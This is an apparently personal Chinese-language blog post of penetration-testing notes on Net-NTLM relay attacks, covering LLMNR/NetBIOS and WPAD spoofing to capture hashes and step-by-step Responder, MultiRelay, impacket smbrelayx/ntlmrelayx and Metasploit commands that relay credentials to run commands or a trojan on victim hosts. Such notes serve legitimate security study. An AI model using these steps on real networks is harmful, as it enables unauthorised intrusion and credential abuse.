(Net-)NTLM Relay(重放)

  • Post author:
  • Post category:其他


原理

截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制。例:

域内A访问B,攻击者C作为中间人,骗取A的身份凭证访问B(骗取过程可用建立smb服务器诱导登录等)

或A请求了一个不存在的账户,导致凭证经过了伪造的服务器

前提

smb认证获取的机器没有开启smb签名(默认普通主机不开,DC开,cve-2019-1040绕过了该限制)

支持协议:SMB、HTTP、LDAP、MSSQL、Exchange等

获取Net-NTLM Hash


LLMNR和NetBIOS欺骗

Windows系统名称解析顺序为 :

1)本地hosts文件(%windir%\System32\drivers\etc\hosts)

2)DNS缓存/DNS服务器

3)链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)

当本地缓存没找到名称,DNS服务器又请求失败,Windows就会通过LLMNR与Net-BIOS在本地进行名称解析。

客户端会将未认证的UDP广播到网络进行询问,从而使攻击者可以声明自己为受害者目标机器,从而让其交出凭证

(攻击本质是中间人)


WPAD劫持

WPAD (网络代理自动发现协议)是一种客户端使用DCHP、DNS、LLMNR、NBNS协议定位一个代理配置文件(PAC)URL的方法。

WPAD通过让浏览器自动发现代理服务器,查找存放PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络

典例:利用LLMNR/NBNS欺骗让受害者从攻击者获取PAC文件,PAC文件指定攻击者为代理服务器,

然后攻击者就可劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得其Net-NTLMHash

当浏览器设置为 “自动检测代理设置”,它就会下载攻击者事先准备好的wpad.dat文件,使客户端的流量经过攻击者


Msf

metasploit中的auxiliary/docx/word_unc_injector会创建一个带有uac路径的word文件,当该文件被打开的时候kali就会收到NTLMv2 hash。


其他方式

暴力破解,文件包含、XSS等传统漏洞

用法:

https://www.jianshu.com/p/1b545a8b8b1e

工具


responder(Python编写)

下载:

GitHub – lgandx/Responder: Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.


Inveigh(powershell编写)

下载:

GitHub – Kevin-Robertson/Inveigh: .NET IPv4/IPv6 machine-in-the-middle tool for penetration testers

用法:

NTLM-relay攻击的原理与实现_Shanfenglan7的博客-CSDN博客_ntlmssp攻击原理


impacket

SMB_Relay

工作组环境

由于各主机无信任关系,只在自己的SAM存密码,所以Relay到别人无意义,只能Relay到自己

MS08-068漏洞修复后,除CVE-2019-1384(Ghost Potato)外无法Relay到自己

域环境


MultiRelayx(responder)

1)扫描域内机器SMB签名开放情况:./RunFinger.py -i IP/24
2)若签名为false,开启攻击监听: python MultiRelay.py -t <被攻击IP> -u ALL
3)修改responder的配置文件 Responder.conf,不让其对 hash 进行抓取:将SMB和HTTP的On改为Off
4)启用LLMNR和NetBIOS请求监听:responder(.py) -i eth1
5)域内任意主机A输入:net use \\\\不存在的主机名 ,即可使用A的凭证控制被攻击主机


smbrelayx.py(impacket)

1)攻击者 ./smbrelayx.py -h <受害者 IP> -c Command
2) 域内任意主机 net use \\\\攻击者\\c$
其中-c 后可跟payload或**本地木马**,如 -e ./shell.exe
msf监听需设置: set AutoRunScript migrate -n explorer.exe
(迁移进程到资源管理器,否则session会随木马自动清除而关闭)


ntlmrelayx.py(impacket)

可直接使用已有hash重放指定机器: ./ntlmrelayx.py -t <指定的被攻击 IP> 
1)./ntlmrelayx.py -t smb://被害IP -c whoami -smb2support
2)其他人访问攻击者smb或http服务交出凭据

利用responder:
1) ntlmrelayx.py -t 受害IP -c 'powershell payload'
2)responder 关掉 smb 和 http后启动:responder(.py) -i eth1
3)任意主机  net use \\\\whoami  产生smb流量


msf中windows/smb/smb_relay模块(ms08-068?)

参数设置完run后,被害者需访问攻击者的smb服务,即可弹shell

(该模块只支持NTLMv1,所以在攻击有些机器会出现“Failed to authenticate”)

基于其他的攻击方式(EWS、LDAP)


Windows内网协议学习NTLM篇之Net-NTLM利用 – 安全客,安全资讯平台

参考

原文:

内网渗透测试:NTLM Relay攻击分析_whatday的博客-CSDN博客_ntlmrelayx

原文拓展:

https://www.jianshu.com/p/c7d8e7d9c03c

另一篇:

NTLM-relay攻击的原理与实现_Shanfenglan7的博客-CSDN博客_ntlmssp攻击原理



版权声明:本文为Canterlot原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。